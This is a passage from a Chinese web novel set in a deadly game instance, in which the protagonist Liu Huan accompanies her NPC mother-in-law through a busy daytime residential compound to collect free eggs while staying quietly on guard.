片刻后,御赴识终于回过头来,目视着紧闭的大门。 - 婆婆关上房门后,柳浣立即抬头望向钟表。 早上九点十五分。 看来,这个游戏副本里,npc的形象要靠刷好感度才能逐步解锁。 柳浣简单收拾了下自己,换了一身柔软的居家休闲服,刚整理好衣襟,婆婆便从房间里走了出来。 她换了件素色碎花外套,手里拎着礼物,头发梳得整整齐齐,眉眼间那股慈和的气质愈发明显,完全就是寻常小区里温和慈祥的老太太模样。 “走吧阿嫣,别耽搁了,去晚了新鲜鸡蛋就被人家领光了。”婆婆开口,语气随和自然,没有了起初的惊悚感。 “好嘞妈,我们这就走。”柳浣连忙应声,乖巧跟在婆婆身侧,跟着她换鞋开门。 房门咔嗒一声合上,踏入楼道,再走出单元门,扑面而来的不再是夜里莫名的阴森诡异,而是白日里小区独有的鲜活热闹气息。 和夜里的惊心动魄截然不同,白天的小区像是瞬间被注入了烟火生气。 阳光暖融融洒下来,不少大妈牵着或是抱着自家的孙子孙女闲聊,小孩子们穿着五颜六色的衣裳,追着跑着打闹,清脆的笑闹声洒满整个小区。 柳浣的疑惑藏在心里…… 这些npc也太逼真了……怎么一下子冒出来这么多? 有老太太凑在一起坐在树荫下唠家常,手里摇着蒲扇,家长里短说得热火朝天。 还有大爷们围在石桌旁下棋,时不时传来几声争执又带着笑意的吆喝。 柳浣跟在婆婆身边,慢悠悠沿着小区步道往前走,目光悄悄打量着四周。 这小区比她想象中还要大,楼栋排布整齐,中间隔着大片休闲绿地和健身区域,岔路纵横,若是没人带路,初次来很容易迷路。 副本里的场景逼真得过分,草木的清香,孩童的嬉闹,老人的闲谈声交织在一起,几乎让人忘了这是一场生死游戏副本,只当是寻常市井小区的日常。 “你看这帮小孩子,天天都在这里疯跑,精力旺得很。”婆婆边走边随口搭话,目光落在那群追逐嬉戏的孩童身上,眼底带着浅浅的笑意。 “是啊,小孩子本来就活泼热闹。”柳浣顺着她的话接茬,态度温顺有礼。 一路走着,不时有路过的街坊邻居和婆婆打招呼,都是熟稔的语气。 婆婆也一一笑着回应,从容随和,顺带还会跟人寒暄两句。 柳浣安静跟在一旁,不多插话,只默默陪着。 夜里那种阴森压抑的诡异感荡然无存,却也让柳浣不敢放松警惕。 穿过中心绿地,绕过健身器材区域,再拐过两栋居民楼,远远就能看见社区服务中心的牌子立在前方,门口已经排起了不长不短的队伍,大多都是和婆婆一样,赶来免费领鸡蛋的大爷大妈。 婆婆脚步放缓,朝着队伍方向走去,回头对柳浣道:“咱们赶紧排上,等领完鸡蛋,顺路绕去幼儿园那边,把给老师准备的礼物送过去,也省得再跑一趟。” 柳浣乖巧点头。